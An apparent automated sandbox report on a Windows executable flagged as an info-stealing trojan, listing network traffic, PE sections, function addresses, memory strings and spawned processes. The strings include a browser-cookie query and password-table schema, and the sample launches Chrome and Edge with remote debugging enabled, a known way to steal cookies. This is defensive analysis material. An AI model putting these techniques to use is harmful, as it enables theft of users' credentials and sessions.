Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.95.31.18:443 -> 192.168.2.6:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49966 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA2B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA2B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA2B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9CF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C35A0	0_2_6C9C35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA234A0	0_2_6CA234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C4A0	0_2_6CA2C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D6C80	0_2_6C9D6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9ED4D0	0_2_6C9ED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA06CF0	0_2_6CA06CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D64C0	0_2_6C9D64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CD4E0	0_2_6C9CD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3542B	0_2_6CA3542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3AC00	0_2_6CA3AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA05C10	0_2_6CA05C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA12C10	0_2_6CA12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D5440	0_2_6C9D5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3545C	0_2_6CA3545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA285F0	0_2_6CA285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA00DD0	0_2_6CA00DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F0512	0_2_6C9F0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EED10	0_2_6C9EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DFD00	0_2_6C9DFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA24EA0	0_2_6CA24EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E5E90	0_2_6C9E5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2E680	0_2_6CA2E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA376E3	0_2_6CA376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBEF0	0_2_6C9CBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DFEF0	0_2_6C9DFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA29E30	0_2_6CA29E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA15600	0_2_6CA15600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA07E10	0_2_6CA07E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA36E63	0_2_6CA36E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E9E50	0_2_6C9E9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E4640	0_2_6C9E4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC670	0_2_6C9CC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA12E4E	0_2_6CA12E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA03E50	0_2_6CA03E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA177A0	0_2_6CA177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F6FF0	0_2_6C9F6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CDFE0	0_2_6C9CDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D9F00	0_2_6C9D9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA07710	0_2_6CA07710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F60A0	0_2_6C9F60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA058E0	0_2_6CA058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA350C7	0_2_6CA350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EC0E0	0_2_6C9EC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0B820	0_2_6CA0B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA14820	0_2_6CA14820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D7810	0_2_6C9D7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E8850	0_2_6C9E8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9ED850	0_2_6C9ED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0F070	0_2_6CA0F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FD9B0	0_2_6C9FD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA05190	0_2_6CA05190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA22990	0_2_6CA22990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC9A0	0_2_6C9CC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1B970	0_2_6CA1B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3B170	0_2_6CA3B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EA940	0_2_6C9EA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DD960	0_2_6C9DD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA32AB0	0_2_6CA32AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DCAB0	0_2_6C9DCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3BA90	0_2_6CA3BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C22A0	0_2_6C9C22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F4AA0	0_2_6C9F4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0E2F0	0_2_6CA0E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA08AC0	0_2_6CA08AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E1AF0	0_2_6C9E1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA09A60	0_2_6CA09A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CF380	0_2_6C9CF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA353C8	0_2_6CA353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0D320	0_2_6CA0D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C5340	0_2_6C9C5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DC370	0_2_6C9DC370

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9FCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2657854397.000000006CC45000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jynqsoyt ZLIB complexity 0.9947563914111343

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@64/285@36/15

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA27030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XI6M9ASG.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\913e474f-d01b-4cae-8150-2ecd77ce9598.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies;
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2379507778.000000001DE94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484483307.000000001DE95000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJDGHCAKECAEGC.0.dr, FCAAEHJDBKJJKFHJEBKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2657008994.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2564,i,11894809263418386621,12068605829373464849,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2232,i,15510336952226513588,6990982743633393472,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5396 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7112 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7416 --field-trial-handle=1988,i,2514921030749539874,8981305914275707194,262144 /prefetch:8
